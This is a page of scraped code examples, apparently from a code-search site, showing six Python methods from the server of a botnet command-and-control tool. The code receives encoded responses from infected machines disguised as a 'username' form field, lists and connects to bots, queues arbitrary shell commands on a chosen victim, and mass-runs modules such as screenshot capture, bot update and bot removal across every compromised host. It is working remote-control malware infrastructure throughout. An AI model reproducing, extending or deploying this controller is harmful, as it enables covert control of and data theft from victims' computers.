예제 #1
0
    def do_POST(self):
        # Command responses.
        data = str(self.rfile.read(int(self.headers.get("Content-Length"))),
                   "utf-8")
        data = json.loads(
            b64decode(unquote_plus(data.replace("username="******"",
                                                1)).encode()).decode())

        response = b64decode(data["response"])
        bot_uid = data["bot_uid"]
        module_name = data["module_name"]
        response_options = dict(data["response_options"])

        if module_name:
            try:
                # Modules will already be loaded at this point.
                modules.get_module(module_name).process_response(
                    response, response_options)

                # Note to self: if there's too many "special" modules here,
                # pass the bot_uid to the process_response method instead.
                if module_name == "remove_bot":
                    self._model.remove_bot(bot_uid)
                    self._update_bot_amount()

            except Exception as ex:
                # Something went wrong in the process_response method.
                self._view.output_separator()
                self._view.output("Module server error:", "attention")

                for line in str(ex).splitlines():
                    self._view.output(line)
        else:
            # Command response.
            if response.decode().startswith("Directory changed to"):
                # Update the view's footer to show the updated path.
                new_path = response.decode().replace("Directory changed to: ",
                                                     "", 1)

                self._model.update_bot(bot_uid, time(), new_path)
                self._update_bot_path(self._model.get_bot(bot_uid))

            self._view.output_separator()

            for line in response.splitlines():
                self._view.output(line)

        self._send_command()
예제 #2
0
    def _on_module_change(self, module_name):
        """Handles module combobox changes.

        :type module_name: str
        """
        while self._sub_layout.count():
            child = self._sub_layout.takeAt(0)

            if child.widget():
                child.widget().deleteLater()

        cached_module = modules.get_module(module_name)

        if not cached_module:
            cached_module = modules.load_module(module_name, self._module_view, self._model)

        input_fields = []

        for option_name in cached_module.get_setup_messages():
            input_field = QLineEdit()
            input_fields.append(input_field)

            self._sub_layout.addWidget(QLabel(option_name))
            self._sub_layout.addWidget(input_field)

        run_button = QPushButton("Run")
        run_button.setMaximumWidth(250)
        run_button.setMinimumHeight(25)

        run_button.pressed.connect(lambda: self._on_module_run(module_name, input_fields))

        self._sub_layout.addWidget(QLabel(""))
        self._sub_layout.addWidget(run_button)
        self._sub_layout.setContentsMargins(0, 15, 0, 0)
예제 #3
0
    def _on_module_run(self, module_name: str, input_fields: list):
        """Handles running modules."""
        set_options = []

        for input_field in input_fields:
            set_options.append(input_field.text())

        module = modules.get_module(module_name)

        if not module:
            module = modules.load_module(module_name, self._module_view,
                                         self._model)

        successful, options = module.setup(set_options)

        if successful:
            if module_name == "remove_bot":
                code = loaders.get_remove_code(self._current_bot.loader_name)
            elif module_name == "update_bot":
                code = loaders.get_update_code(self._current_bot.loader_name)
            else:
                code = modules.get_code(module_name)

            if not options:
                options = {}

            options["module_name"] = module_name

            self._model.add_command(self._current_bot.uid,
                                    Command(CommandType.MODULE, code, options))

            self.display_info("Module added to the queue of:\n {}@{}".format(
                self._current_bot.username, self._current_bot.hostname))
예제 #4
0
    def set_module_layout(self, module_name: str = "screenshot"):
        """Sets the layout which can execute modules."""
        self._current_layout = "Module"
        self._clear_layout()

        command_type_label = QLabel("Command type: ")
        command_type_combobox = QComboBox()

        command_type_combobox.addItem("Module")
        command_type_combobox.addItem("Shell")

        module_label = QLabel("Module name: ")
        module_combobox = QComboBox()

        for module_name in modules.get_names():
            module_combobox.addItem(module_name)

        module_combobox.currentTextChanged.connect(self._on_module_change)
        command_type_combobox.currentTextChanged.connect(
            self._on_command_type_change)

        self._layout.setColumnStretch(1, 1)
        self._layout.addWidget(command_type_label, 0, 0)
        self._layout.addWidget(command_type_combobox, 0, 1)
        self._layout.addWidget(module_label, 1, 0)
        self._layout.addWidget(module_combobox, 1, 1)

        # Module layout
        cached_module = modules.get_module(module_name)

        if not cached_module:
            cached_module = modules.load_module(module_name, self._module_view,
                                                self._model)

        input_fields = []

        for option_name in cached_module.get_setup_messages():
            input_field = QLineEdit()

            self._sub_layout.addWidget(QLabel(option_name))
            self._sub_layout.addWidget(input_field)
            input_fields.append(input_field)

        run_button = QPushButton("Run")
        run_button.setMaximumWidth(250)
        run_button.setMinimumHeight(25)

        run_button.pressed.connect(lambda: self._on_module_run(
            module_combobox.currentText(), input_fields))

        self._sub_layout.addWidget(QLabel(""))
        self._sub_layout.addWidget(run_button)
        self._sub_layout.setContentsMargins(0, 15, 0, 0)
        self._layout.addLayout(self._sub_layout,
                               self._layout.rowCount() + 2, 0, 1, 2)

        self._on_module_change(module_combobox.currentText())
예제 #5
0
    def _process_command(self, command: str):
        """Processes command input."""
        if command.strip() == "":
            return

        self._view.output_separator()

        if command == "help":
            self._view.output(
                "Commands other than the ones listed below will be run on the connected "
                "bot as a shell command.", "info")
            self._view.output("help                 -  Show this help menu.")
            self._view.output(
                "bots                 -  Show the amount of available bots.")
            self._view.output(
                "connect <id>         -  Start interacting with the bot (required before using \"use\")."
            )
            self._view.output(
                "modules              -  Show a list of available modules.")
            self._view.output(
                "use <module_name>    -  Run the module on the connected bot.")
            self._view.output(
                "stop <module_name>   -  Ask the module to stop executing.")
            self._view.output(
                "setall <module_name> -  Set the module which will be run on every bot."
            )
            self._view.output(
                "stopall              -  Clear the globally set module.")
            self._view.output("clear                -  Clear the screen.")
            self._view.output(
                "exit/q/quit          -  Close the server and exit.")
        elif command.startswith("bots"):
            if command == "bots":
                bots = self._model.get_bots(limit=10)

                if not bots:
                    self._view.output("There are no available bots.",
                                      "attention")
                else:
                    self._view.output(
                        "No page specified, showing the first page.", "info")
                    self._view.output(
                        "Use \"bots <page>\" to see a different page (each page is 10 results).",
                        "info")

                    for i, bot in enumerate(self._model.get_bots(limit=10)):
                        self._view.output(
                            "{} = \"{}@{}\" (last seen: {})".format(
                                str(i), bot.username, bot.hostname,
                                strftime("%a, %b %d @ %H:%M:%S",
                                         localtime(bot.last_online))))
            else:
                try:
                    # Show the bots of the given "page".
                    page_number = int(command.split(" ")[1])

                    if page_number <= 0:
                        page_number = 1

                    skip_amount = (page_number * 10) - 10
                    bots = self._model.get_bots(limit=10,
                                                skip_amount=skip_amount)

                    if not bots:
                        self._view.output(
                            "There are no available bots on this page.",
                            "attention")
                    else:
                        self._view.output(
                            "Showing bots on page {}.".format(page_number),
                            "info")

                        for i, bot in enumerate(bots):
                            self._view.output(
                                "{} = \"{}@{}\" (last seen: {})".format(
                                    str(i), bot.username, bot.hostname,
                                    strftime("%a, %b %d @ %H:%M:%S",
                                             localtime(bot.last_online))))
                except ValueError:
                    self._view.output("Invalid page number.", "attention")
        elif command.startswith("connect"):
            try:
                specified_id = int(command.split(" ")[1])
                self._connected_bot = self._model.get_bots()[specified_id]

                self._view.output(
                    "Connected to \"%s@%s\", ready to send commands." %
                    (self._connected_bot.username,
                     self._connected_bot.hostname), "info")
                self._view.set_footer_text("Command ({}@{}, {}): ".format(
                    self._connected_bot.username, self._connected_bot.hostname,
                    self._connected_bot.local_path))
            except (IndexError, ValueError):
                self._view.output("Invalid bot ID (see \"bots\").",
                                  "attention")
                self._view.output("Usage: connect <ID>", "attention")
        elif command == "modules":
            self._view.output("Type \"use <module_name>\" to use a module.",
                              "info")

            for module_name in modules.get_names():
                try:
                    module = modules.get_module(module_name)

                    if not module:
                        module = modules.load_module(module_name, self._view,
                                                     self._model)

                    self._view.output("{:16} -  {}".format(
                        module_name,
                        module.get_info()["Description"]))
                except AttributeError as ex:
                    self._view.output(str(ex), "attention")
        elif command.startswith("useall"):
            if command == "useall":
                self._view.output("Usage: useall <module_name>", "attention")
                self._view.output(
                    "Type \"modules\" to get a list of available modules.",
                    "attention")
            else:
                module_name = command.split(" ")[1]

                module_thread = Thread(target=self._run_module,
                                       args=(module_name, True))
                module_thread.daemon = True
                module_thread.start()
        elif command == "clear":
            self._view.clear()
        elif command in ["exit", "q", "quit"]:
            raise ExitMainLoop()
        else:
            # Commands that require a connected bot.
            if not self._connected_bot:
                self._view.output(
                    "You must be connected to a bot to perform this action.",
                    "attention")
                self._view.output("Type \"connect <ID>\" to connect to a bot.",
                                  "attention")
            else:
                if command.startswith("use"):
                    if command == "use":
                        self._view.output("Usage: use <module_name>",
                                          "attention")
                        self._view.output(
                            "Type \"modules\" to get a list of available modules.",
                            "attention")
                    else:
                        module_name = command.split(" ")[1]

                        module_thread = Thread(target=self._run_module,
                                               args=(module_name, ))
                        module_thread.daemon = True
                        module_thread.start()
                else:
                    # Regular shell command.
                    self._view.output("Executing command: {}".format(command),
                                      "info")
                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.SHELL, command.encode()))
예제 #6
0
    def _run_module(self, module_name, mass_execute=False):
        """Setup then run the module, required because otherwise calls to prompt block the main thread."""
        try:
            module = modules.get_module(module_name)
            code = ("", b"")

            if not module:
                module = modules.load_module(module_name, self._view,
                                             self._model)

            successful, options = module.setup()

            if not successful:
                self._view.output("Module setup failed or cancelled.",
                                  "attention")
            else:
                if not options:
                    options = {}

                options["module_name"] = module_name

                if mass_execute:
                    bots = self._model.get_bots()

                    for bot in bots:
                        if module_name == "remove_bot":
                            if code[0] != bot.loader_name:
                                code = (bot.loader_name,
                                        loaders.get_remove_code(
                                            bot.loader_name))
                        elif module_name == "update_bot":
                            if code[0] != bot.loader_name:
                                code = (bot.loader_name,
                                        loaders.get_update_code(
                                            bot.loader_name))
                        else:
                            if not code[0]:
                                code = modules.get_code(module_name)

                        self._model.add_command(
                            bot.uid,
                            Command(CommandType.MODULE, code[1], options))

                    self._view.output(
                        "Module added to the queue of {} bots.".format(
                            len(bots)))
                else:
                    if module_name == "remove_bot":
                        code = loaders.get_remove_code(
                            self._connected_bot.loader_name)
                    elif module_name == "update_bot":
                        code = loaders.get_update_code(
                            self._connected_bot.loader_name)
                    else:
                        code = modules.get_code(module_name)

                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.MODULE, code, options))

                    self._view.output(
                        "Module added to the queue of \"{}@{}\".".format(
                            self._connected_bot.username,
                            self._connected_bot.hostname), "info")
        except ImportError:
            self._view.output("Failed to find module: {}".format(module_name),
                              "attention")
            self._view.output(
                "Type \"modules\" to get a list of available modules.",
                "attention")